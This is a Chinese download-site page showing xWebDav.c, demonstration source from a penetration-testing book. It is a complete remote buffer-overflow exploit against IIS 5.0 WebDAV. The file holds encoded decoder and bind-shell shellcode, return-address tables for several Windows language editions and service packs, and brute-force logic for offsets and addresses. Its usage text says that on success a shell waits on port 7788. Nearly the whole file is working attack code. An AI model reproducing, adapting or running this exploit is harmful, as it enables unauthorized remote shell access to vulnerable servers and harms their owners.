⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 xwebdav.c

📁 网络渗透技术配书源码
💻 C
字号:
/* xWebDav.c
*
*  《网络渗透技术》演示程序
*  作者:san, alert7, eyas, watercloud
*
*  IIS WebDAV栈溢出利用程序
*/

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>

#pragma  comment(lib,"ws2_32")
#define	NOPCODE				0x4F//0x4F//'O'
#define BUFFLEN				65536+8//传递给GetFileAttribeExW的buff长度
#define OVERPOINT			0x260//溢出点-0x14 SEH-0x4
#define	MaxTry				8//连接失败后重试次数
#define	DefaultOffset			23
#define	RecvTimeOut			30000//ms, 30s
#define	StartOffset			6
#define	EndOffset			80
#define	RetAddrNum			12//可用的ret addr数量
/*严重错误,程序退出*/
#define	ERROR_OTHER			0//other error
#define	ERROR_METHOD_NOT_SUPORT		1//no valu
#define	ERROR_NOT_IIS			2//not iis
/*继续猜测offset*/
#define	ERROR_RESOURCE_NOTFOUND		3//offset error
#define	ERROR_BAD_REQUEST		4//offset error?
/*成功了?*/
#define	ERROR_RECV_TIMEOUT		5//success?
/*尝试不同的ret addr*/
#define	ERROR_CONNECT_RESET		6//offset ok?但ret addr错误
#define	ERROR_CONNECT_FALIED		7//can't connect
//[100 bytes]
unsigned char	decoder[] =
"%u754F%u7409%u4E07%u584A%u9050%u4FC3%u9053%u665E"
"%u4EAD%u4F46%u6643%u973D%u906F%u9051%u7559%u53F0"
"%u5F56%u574A%u6643%u50AD%u6643%u4F3D%u9000%u7459"
"%u4ED5%u642C%u5950%u4F46%u9047%u6643%u50AD%u584B"
"%u642C%u574A%u9051%u5F90%uFF03%uFF03%uFF03%uFF03"
"%u0391%u91CF%u5F90%u90AA%u7441%u90CA%u9051%u7559"
"%u4EC4%u6F97";
/*绑定cmd的shellcode是从isno的exploit上copy过来的*/
unsigned char	xShellCode[]=
"mdrodgiqrodirlslsssssslgpieimdmdmdlopiggpmjjomeddgidldgdmkhdrfsnkrlrmimkmkpqephq"
"ehkpmdsqjlphsggjmkmkmkmkpksgerofmkmkmkmknhhpfpmkmkkkrdkshomjmkmkejjpmkmkjlflmleh"
"immjmkmkejihmkmkmjmkseejnpqnpqrfkdnhikepqhnomhihseejnspkqfrfhrehikrsepnkmhjhepqm"
"momhipejnrqpqfpiqmrfifejrrmgqfqonhnirffonhjlepqeokmhihepipmhmsejnrqdsfrgpkrfmrej"
"rrmgrislshqjrgmeqdehikmgkpkfmhjlmhjpeppeogmhjqnhhiseepldepjqepqelkqsmhjsnhirepil"
"mhirmhirmhqmlomhipepnrmhjpkrsrmjmkmkpmedjdephdnhikjdhkepisjiglernienqimspipkphjl"
"lipqerqimgenrilfpipejlpimgpqnhikgoegikrfjrnhireqmmegirrgmrpipephjllipqgpkiksqepi"
"pejlpimgpqephsnhikgoegikrfjrnhireqmmekjrmirgmrpipephjllipqgpkikdnhikpkqkpkqkpkjl"
"pdksdhsqlkpephjlpdkosqmiphjlpdjknhikpdpkfkmogppsgpqkgpplqspkpdpegnpejlpdikqspkpd"
"gnpegnpejlpdikqsfkqgermdpdjlpdignhikepqejgerqdnoerqdqkepmeerqdnsnhiksefsmjmjerqd"
"oopdpdnhikpkpkpkqkpkqspkpkgnpenhikpkjlpdisjlrejkjlpdiojlrejojlpdioqspkpkphjlpdjg"
"ephsnhikfgmgpkijksmgpkjlpdhgepjknhikepisffmgpkpkpdpjpejlrdgsjlpdhkehnlmjrooinhik"
"pkpdjlndpejlrdgsjlpdhompikrgolnhikpkjlndpephjlpdjssqpkjlpdkkkpisnhikpkfgmgpkpeph"
"jlpdjopdnhirpjpkpejlrdgojlpdhssqpkjlpdkkkpgqpkjlpdkgkpjmpspkerqijiihepqgogmomffs"
"mkmkmkidmkrspenglinhikihkpkokskijnjljlksdijmjljlqppekdrdohekkdrdqoslsjsgqosrsiri"
"sjrirrqjmkqpqfpiqmqfqonhnimkqhrisfsjrgsfpksrrksfmkqdsfrgphrgsjrirgrfrkqrsmseslqj"
"mkqhrisfsjrgsfpkrislshsfrhrhqjmkqhsoslrhsfqssjsmsgsosfmkpksfsfspqmsjsnsfsgpksrrk"
"sfmkqdsoslsisjsoqjsososlshmkpdrisrrgsfqesrsosfmkpisfsjsgqesrsosfmkphsosfsfrkmkqf"
"rssrrgpkrislshsfrhrhmkmkpdphqlqhqpnhnimkrhslshspsfrgmksisrsmsgmksosrrhrgsfsmmksj"
"shshsfrkrgmkrhsfsmsgmkrisfshremkmimklmsomkmkmkmkmkmkmkmkmkmkmkmkshsnsgomsfrssfmk"
"jljljljldd";

unsigned char	jmpover[]="%u9041%u6841";//0x41 inc ecx , 0x68  push num32
unsigned int	g_iConnectError=0;

unsigned int	g_iRetAddrList[3][4]={
	{
		0x74FB63DB,//call ebx addr at ws2_32.dll in sp0_cn_tw,符合(cn、tw) wide char编码
		0x74FB4F6F,//call ebx addr at ws2_32.dll in sp1_cn_tw,符合(cn、tw) wide char编码
		0x74FB9631,//call ebx addr at ws2_32.dll in sp2_cn_tw,符合(cn、tw) wide char编码
		0x74FB4ECB//call ebx addr at ws2_32.dll in sp3_cn_tw,符合(cn、tw) wide char编码
	},
	{
		0x77AD8A23,//call ebx addr at ole32.dll in sp0_jp_ko,符合(jp,ko) wide char编码
		0x77AD9F9C,//call ebx addr at ole32.dll in sp1_jp_ko,符合(jp,ko) wide char编码
		0x77AD653F,//call ebx addr at ole32.dll in sp2_jp_ko,符合(jp,ko) wide char编码
		0x77A5005D//call ebx addr at ole32.dll in sp3_jp_ko,符合(jp,ko) wide char编码
	},
	{
		0x77AC608C,//call ebx addr at ole32.dll in sp0_en,符合(cn、tw、jp、KO) wide char编码
		0x77A5592A,//call ebx addr at ole32.dll in sp1_en,符合(cn、tw、jp、KO) wide char编码
		0x12345678,//call ebx addr at ole32.dll in sp2_en,符合(cn、tw、jp、KO) wide char编码
		0x77AC70DD//call ebx addr at ole32.dll in sp3_en,符合(cn、tw、jp、KO) wide char编码
	}
};
int	SendBuffer(char *ip, int iPort, unsigned char *buff, int len);
int MakeExploit(unsigned int retaddr, int offset, char *host, char *ip, int iPort);
void usage();

void main(int argc, char **argv)
{
	int				i, iRet,k,iOsType, iSP;
	unsigned int	iOffset,iPort,iStartOffset, iEndOffset,iCorrectOffset;
	char			*ip,*host;
	unsigned int	iRetAddrList[RetAddrNum], iRetAddrNum;

	memset(iRetAddrList, 0, sizeof(iRetAddrList));
	iRetAddrNum=0;
	ip=NULL;
	host=NULL;
	iPort=80;
	iOsType=-1;
	iSP=-1;
	iOffset=0;
	iCorrectOffset=0;

	if(argc<3)
	{
		usage();
		return;
	}
	for(i=1;i<argc;i+=2)
	{
		if(strlen(argv[i]) != 2)
		{
			usage();
			return;
		}
		//检查是否缺少参数
		if(i == argc-1)
		{
			usage();
			return;
		}
		switch(argv[i][1])
		{
		case 'i':
			ip=argv[i+1];
			break;
		case 'h':
			host=argv[i+1];
			break;
		case 'p':
			iPort=atoi(argv[i+1]);
			break;
		case 't':
			iOsType=atoi(argv[i+1]);
			break;
		case 's':
			iSP=atoi(argv[i+1]);
			break;
		case 'o':
			iOffset=atoi(argv[i+1]);
			break;
		}
	}
	//检查参数
	if(!ip)
	{
		usage();
		return;
	}
	if(!host) host=ip;

	if(!iOffset) 
	{
		iStartOffset = StartOffset;
		iEndOffset = EndOffset;
	}
	else
	{
		if((iOffset < StartOffset) || (iOffset > EndOffset))
		{
			usage();
			return;
		}
		else
		{
			iStartOffset = iOffset;
			iEndOffset = iOffset;
		}
	}

	if((iOsType > 2) || (iSP > 3))
	{
		usage();
		return;
	}
	//brute force
	if((iOsType == -1) && (iSP == -1))
	{
		memcpy(iRetAddrList, g_iRetAddrList, sizeof(iRetAddrList));
		iRetAddrNum = sizeof(iRetAddrList)/sizeof(int);
	}
	if((iOsType == -1) && (iSP != -1))
	{
		for(i=0;i<3;i++)
			iRetAddrList[iRetAddrNum++] = g_iRetAddrList[i][iSP];
	}
	if((iOsType != -1) && (iSP == -1))
	{
		for(i=3;i>=0;i--)
			iRetAddrList[iRetAddrNum++] = g_iRetAddrList[iOsType][i];
	}
	if((iOsType != -1) && (iSP != -1))
		iRetAddrList[iRetAddrNum++] = g_iRetAddrList[iOsType][iSP];

	printf( "IP\t\t:%s\n"
			"Host\t\t:%s\n"
			"Port\t\t:%d\n"
			"Offset\t\t:%d-%d\n"
			"iOffset\t\t:%d\n"
			"OsType\t\t:%d\n"
			"SP\t\t:%d\n"
			"RetAddrNum\t:%d\n",ip,host,iPort,iStartOffset, iEndOffset, 
iOffset,iOsType,
			iSP,iRetAddrNum);
	for(i=0;i<iRetAddrNum;i++)
		printf("%.8X ", iRetAddrList[i]);
	printf("\nStart exploit[y/n]:");
	if (getchar() == 'n') return;

	k=0;
	for(i=iStartOffset;i<=iEndOffset;i++)
	{
		//如果是猜测offset,先试23
		if(i==StartOffset) i=DefaultOffset;
		else if((i==DefaultOffset) && (iOffset==0)) continue;
		printf("try offset:%d\tuse retaddr:0x%.8X\n", i, iRetAddrList[k]);
		iRet = MakeExploit(iRetAddrList[k], i, host, ip, iPort);

		switch(iRet)
		{
			case ERROR_NOT_IIS:
			case ERROR_METHOD_NOT_SUPORT:
			case ERROR_OTHER:
				exit(1);
				break;
			case ERROR_CONNECT_FALIED:
				printf("can't connect to %s:%d", ip, iPort);
				//第一次就连接不上,或超出最大重试次数
				if( (i==DefaultOffset) || (g_iConnectError > MaxTry) )
				{
					printf(", exit.\n");
					exit(1);
				}
				printf(", wait for try again.\n");
				Sleep(5000);	
				//same offset、retaddr try again
				i--;
				break;
			case ERROR_CONNECT_RESET:
				iCorrectOffset = i;
				break;
			case ERROR_RECV_TIMEOUT:
				printf("recv buff timeout.Maybe success?\n");
				exit(1);
				break;
		}
		if(i==DefaultOffset) i=6;
		if(iCorrectOffset) break;
		//getchar();
	}

	if(iCorrectOffset) 
		printf( "-=-= we got correct offset:%d -=-=\n"
				"-=-= but retaddr %.8X error -=-=\n", iCorrectOffset, 
iRetAddrList[k]);
	else return;

	if(iRetAddrNum<2) return;
	//尝试其他retaddr
	for(k=1;k<iRetAddrNum;k++)
	{
		Sleep(5000);
		printf("use offset:%d\ttry retaddr:0x%.8X\n", iCorrectOffset, 
iRetAddrList[k]);
		iRet = MakeExploit(iRetAddrList[k], iCorrectOffset, host, ip, 80);
		switch(iRet)
		{
			case ERROR_CONNECT_FALIED:
				printf("can't connect to %s:%d", ip, iPort);
				if(g_iConnectError > MaxTry)
				{
					printf(", eixt.\n");
					exit(1);
				}
				else
					printf(", wait for try again.\n");
				k--;
				break;
			case ERROR_CONNECT_RESET:
				printf("retaddr error, wait for try another.\n");
				break;
			case ERROR_RECV_TIMEOUT:
				printf("recv buff timeout.Maybe success?\n");
				exit(1);
				break;
			default:
				exit(1);
		}
	}
	printf("Done.\n");
}

int	SendBuffer(char *ip, int iPort, unsigned char *buff, int len)
{
	struct sockaddr_in sa;
	WSADATA	wsd;
	SOCKET	s;
	int		iRet, iErr;
	char	szRecvBuff[0x1000];
	int		i;

	iRet = ERROR_OTHER;
	memset(szRecvBuff, 0, sizeof(szRecvBuff));
	__try
	{
		if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
		{
			printf("WSAStartup error:%d\n", WSAGetLastError());
			__leave;
		}

		s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
		if(s == INVALID_SOCKET)
		{
			printf("\nCreate socket failed:%d",GetLastError());
			__leave;
		}
		//set socket recv timeout
		i=RecvTimeOut;
		setsockopt(s,SOL_SOCKET,SO_RCVTIMEO,&i,sizeof(i));

		sa.sin_family=AF_INET;
		sa.sin_port=htons(iPort);
		sa.sin_addr.S_un.S_addr=inet_addr(ip);

		iErr = connect(s,(struct sockaddr *)&sa,sizeof(sa));
		if(iErr == SOCKET_ERROR)
		{
			iRet = ERROR_CONNECT_FALIED;
			g_iConnectError++;
			__leave;
		}
		//reset flag
		g_iConnectError=0;
		iErr = send(s, buff, len,0);
		if(iErr == SOCKET_ERROR)
		{
			printf("send buffer error:%d.\n", WSAGetLastError());
			__leave;
		}

		iErr = recv(s, szRecvBuff, sizeof(szRecvBuff), 0);
		if(iErr == SOCKET_ERROR)
		{
			if(WSAGetLastError() == WSAETIMEDOUT) iRet = ERROR_RECV_TIMEOUT;
			if(WSAGetLastError() == 10054) iRet = ERROR_CONNECT_RESET;
			//printf("recv buffer error:%d.\n", WSAGetLastError());
			__leave;
		}
		if(strstr(szRecvBuff, "Microsoft-IIS/5.0") == NULL)
		{
			iRet = ERROR_NOT_IIS;
			printf("Target not iis.\n");
			__leave;
		}
		if(strstr(szRecvBuff, "404 Resource Not Found"))
		{
			iRet = ERROR_RESOURCE_NOTFOUND;
			__leave;
		}
		if(strstr(szRecvBuff, "400 Bad Request"))
		{
			iRet = ERROR_BAD_REQUEST;
			__leave;
		}
		if(strstr(szRecvBuff, "501 Not Supported"))
		{
			iRet = ERROR_METHOD_NOT_SUPORT;
			printf("501 Not Supported\n");
			__leave;
		}
	}
	__finally
	{
		if(s != INVALID_SOCKET) closesocket(s);
		WSACleanup();
	}
	return iRet;
}
//
//offset为IIS PATH的长度
//
int MakeExploit(unsigned int retaddr, int offset, char *host, char *ip, int iPort)
{
	unsigned char jmpaddr[16];
	unsigned char *pStr, szNOP[4];
	int		i, iNop, iRet;

	szNOP[0]=NOPCODE;
	szNOP[1]='\0';
	//转换字符格式
	sprintf(jmpaddr,"%%u%.2X%.2X%%u%.2X%.2X", retaddr>>8&0xFF, retaddr&0xFF,
		retaddr>>24&0xFF, retaddr>>16&0xFF);
	//分配内存
	pStr = (unsigned char *)malloc(40000);
	//组合buffer
	strcpy(pStr, "SEARCH /");
	//填充NOP CODE  IISPATH+NOP = 0x260/2
	for(i=offset;i<OVERPOINT/2;i++)
		strcat(pStr, szNOP);
	//jmp to decoder
	strcat(pStr, jmpover);
	//jmp addr
	strcat(pStr, jmpaddr);
	//decode real shellcode
	strcat(pStr, decoder);
	//real shellcode
	strcat(pStr, xShellCode);
	//计算后面还需填充多少个NOP CODE
	iNop = (BUFFLEN-OVERPOINT-8-strlen(decoder)/3-strlen(xShellCode)*2)/2;
	//填充NOP CODE
	for(i=0;i<iNop;i++)
		strcat(pStr, szNOP);
	strcat(pStr, " HTTP/1.0\n"
				 "Content-Type: text/xml\n"
				 "Content-length:8\n\n"
				 "OOOOOOOO\n\n");
	//发送我们精心构造的buff
	iRet = SendBuffer(ip, iPort, pStr, strlen(pStr));
	//释放内存
	free(pStr);
	return iRet;
}

void usage()
{
	printf( "\nxWebDav -> IIS5.0 webdav remote buffer overflow exploit\n"
			"Writen by ey4s<cooleyas@21cn.com>\n"
			"Thanks to yuange,moda,isno.\n"
			"2004-04-24\n"
			"if success, telnet to target:7788\n\n"
			"usage: xWebDav <-i ip> [-h host] [-p port] [-t OsType] [-s sp] [-o 
offset]\n\n"
			"[OsType]\n"
			"0\tSimplified Chinese,Traditional Chinese.\n"
			"1\tJapanese,Korean.\n"
			"2\tOS is English edition and system default codepage is 
CN、TW、JP、KR.\n\n"
			"[sp]\n"
			"0\tservice pack 0(default install,not any patch)\n"
			"1\tservice pack 1\n"
			"2\tservice pack 2\n"
			"3\tservice pack 3\n\n"
			"[offset]\n"
			"7-80\n\n"
			"[example]\n"
			"xWebDav -i 1.1.1.1                  <- brute force mode\n"
			"xWebDav -i 1.1.1.1 -t 1             <- try exploit JP、KR sp0-3\n"
			"xWebDav -i 1.1.1.1 -t 1 -s 3 -o 23  <- try exploit JP、KR sp3 use 
offset 23\n\n");
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -